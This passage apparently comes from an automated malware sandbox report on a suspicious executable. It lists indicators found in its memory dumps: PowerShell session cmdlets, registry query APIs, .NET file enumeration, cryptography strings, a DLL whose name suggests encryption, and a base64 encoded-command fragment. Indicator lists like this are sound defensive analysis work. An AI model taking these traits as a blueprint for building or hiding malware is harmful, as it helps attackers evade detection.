"Exit-PSSession" (Indicator: "Exit-PSSession"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "New-PSSessionConfigurationFile" (Indicator: "New-PSSessionConfigurationFile"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "Import-PSSession" (Indicator: "Import-PSSession"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "Export-PSSession" (Indicator: "Export-PSSession"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "Connect-PSSession" (Indicator: "Connect-PSSession"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "Disconnect-PSSession" (Indicator: "Disconnect-PSSession"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "New-PSSession" (Indicator: "New-PSSession"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "Get-PSSession" (Indicator: "Get-PSSession"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "Remove-PSSession" (Indicator: "Remove-PSSession"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "Enter-PSSession" (Indicator: "Enter-PSSession"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "Receive-PSSession" (Indicator: "Receive-PSSession"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "Disable-PSSessionConfiguration" (Indicator: "Disable-PSSessionConfiguration"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "Enable-PSSessionConfiguration" (Indicator: "Enable-PSSessionConfiguration"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "Get-PSSessionCapability" (Indicator: "Get-PSSessionCapability"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "New-PSSessionOption" (Indicator: "New-PSSessionOption"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "Register-PSSessionConfiguration" (Indicator: "Register-PSSessionConfiguration"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "Set-PSSessionConfiguration" (Indicator: "Set-PSSessionConfiguration"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "Test-PSSessionConfigurationFile" (Indicator: "Test-PSSessionConfigurationFile"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "Unregister-PSSessionConfiguration" (Indicator: "Unregister-PSSessionConfiguration"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp")80:T482,Found string "" (Indicator: "System.Data.SqlClient"; Source: "00000000-00004268.00000000.93518.03470000.00000004.mdmp") Found string "" (Indicator: "System.Data.SqlClient"; Source: "00000000-00005808.00000001.93079.07870000.00000004.mdmp")81:Tb07,Found registry query API: "RegOpenKeyW" in file "00000000-00006632.00000000.93463.01101000.00000020.mdmp" Found registry query API: "RegOpenKeyExW" in file "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" Found registry query API: "RegQueryValueExW" in file "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" Found registry query API: "RegQueryValueExA" in file "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" Found registry query API: "RegOpenKeyExA" in file "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" Found registry query API: "RegGetValueA" in file "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" Found registry query API: "RegEnumValueA" in file "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" Found registry query API: "RegQueryInfoKeyW" in file "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" Found registry query API: "RegQueryInfoKeyA" in file "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" Found registry query API: "RegEnumKeyW" in file "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" Found registry query API: "RegEnumKeyExW" in file "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" Found registry query API: "RegGetValueW" in file "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" Found registry query API: "RegEnumValueA" in "00000000-00001648.00000000.93993.0094F000.00000002.mdmp" Found registry query API: "RegOpenKeyExA" in "00000000-00001648.00000000.93993.0094F000.00000002.mdmp" Found registry query API: "RegQueryValueExA" in "00000000-00001648.00000000.93993.0094F000.00000002.mdmp" Found registry query API: "RegGetValueA" in "00000000-00001648.00000000.93993.0094F000.00000002.mdmp" Found registry query API: "RegQueryInfoKeyW" in "00000000-00001648.00000000.93993.0094F000.00000002.mdmp" Found registry query API: "RegEnumValueA" in "00000000-00002188.00000000.94219.0094F000.00000002.mdmp" Found registry query API: "RegOpenKeyExA" in "00000000-00002188.00000000.94219.0094F000.00000002.mdmp" Found registry query API: "RegQueryValueExA" in "00000000-00002188.00000000.94219.0094F000.00000002.mdmp" Found registry query API: "RegGetValueA" in "00000000-00002188.00000000.94219.0094F000.00000002.mdmp" Found registry query API: "RegQueryInfoKeyW" in "00000000-00002188.00000000.94219.0094F000.00000002.mdmp" Found registry query API: "RegQueryValueExA" in "00000000-00002952.00000000.94297.40017000.00000002.mdmp" Found registry query API: "RegOpenKeyExA" in "00000000-00002952.00000000.94297.40017000.00000002.mdmp" Found registry query API: "RegQueryInfoKeyA" in "00000000-00002952.00000000.94297.40017000.00000002.mdmp"82:Teac,"074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\\* (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "FindNextFileW" with parameter NETFXSBS10.exe (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "FindNextFileW" with parameter netfxsbs12.hkf (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "FindNextFileW" with parameter sbs_diasymreader.dll (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "FindNextFileW" with parameter sbs_iehost.dll (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "FindNextFileW" with parameter sbs_microsoft.jscript.dll (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "FindNextFileW" with parameter sbs_microsoft.vsa.vb.codedomprocessor.dll (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "FindNextFileW" with parameter sbs_mscordbi.dll (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "FindNextFileW" with parameter sbs_mscorrc.dll (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "FindNextFileW" with parameter sbs_mscorsec.dll (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "FindNextFileW" with parameter sbs_system.configuration.install.dll (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "FindNextFileW" with parameter sbs_system.data.dll (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "FindNextFileW" with parameter sbs_system.enterpriseservices.dll (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "FindNextFileW" with parameter sbs_VsaVb7rt.dll (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "FindNextFileW" with parameter sbs_wminet_utils.dll (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "FindNextFileW" with parameter v1.0.3705 (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "FindNextFileW" with parameter v1.1.4322 (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00007344)83:T11d2,file/memory contains long string with (Indicator: "aes"; File: "5GFpJxh_1_.exe") file/memory contains long string with (Indicator: "aes"; File: "fuckingdllENCR_1_.dll") Found string "System.IO.Compression.ZipFile" (Indicator: "zipfile"; File: "00000000-00005808.00000000.92787.00A61000.00000020.mdmp") Found string "description="Uses RsaCryptoServiceProvider to encrypt and decrypt"" (Indicator: "RsaCryptoServiceProvider"; Source: "00000000-00004268.00000000.93518.03470000.00000004.mdmp") Found string "Switch.System.Security.Cryptography.DoNotAddrOfCspParentWindowHandle" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004268.00000000.93518.03F20000.00000004.mdmp") Found string "Switch.System.Security.Cryptography.UseLegacyFipsThrow" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004268.00000000.93518.03F20000.00000004.mdmp") Found string "System.IO.Compression.ZipFile" (Indicator: "zipfile"; Source: "00000000-00005808.00000000.92787.00A61000.00000020.mdmp") Found string "System.Security.Cryptography.Algorithms" (Indicator: "System.Security.Cryptography"; Source: "00000000-00005808.00000000.92787.00A61000.00000020.mdmp") Found string "System.Security.Cryptography.Cng" (Indicator: "System.Security.Cryptography"; Source: "00000000-00005808.00000000.92787.00A61000.00000020.mdmp") Found string "System.Security.Cryptography.Csp" (Indicator: "System.Security.Cryptography"; Source: "00000000-00005808.00000000.92787.00A61000.00000020.mdmp") Found string "System.Security.Cryptography.Encoding" (Indicator: "System.Security.Cryptography"; Source: "00000000-00005808.00000000.92787.00A61000.00000020.mdmp") Found string "System.Security.Cryptography.OpenSsl" (Indicator: "System.Security.Cryptography"; Source: "00000000-00005808.00000000.92787.00A61000.00000020.mdmp") Found string "System.Security.Cryptography.Pkcs" (Indicator: "System.Security.Cryptography"; Source: "00000000-00005808.00000000.92787.00A61000.00000020.mdmp") Found string "System.Security.Cryptography.Primitives" (Indicator: "System.Security.Cryptography"; Source: "00000000-00005808.00000000.92787.00A61000.00000020.mdmp") Found string "System.Security.Cryptography.X509Certificates" (Indicator: "System.Security.Cryptography"; Source: "00000000-00005808.00000000.92787.00A61000.00000020.mdmp") Found string "ECDSA" (Indicator: "ecdsa"; Source: "00000000-00005808.00000000.92787.03100000.00000004.mdmp, 00000000-00005808.00000000.92787.07870000.00000004.mdmp, 00000000-00005808.00000001.93079.03100000.00000004.mdmp, 00000000-00005808.00000001.93079.07870000.00000004.mdmp") Found string "Switch.System.Security.Cryptography.DoNotAddrOfCspParentWindowHandle" (Indicator: "System.Security.Cryptography"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "Switch.System.Security.Cryptography.UseLegacyFipsThrow" (Indicator: "System.Security.Cryptography"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "$encodedCommand = [Convert]::ToBase64String($bytes)" (Indicator: "base64"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "$encodedCommand = [Convert]::ToBase64String($bytes)" (Indicator: "ToBase64String"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "[-WindowStyle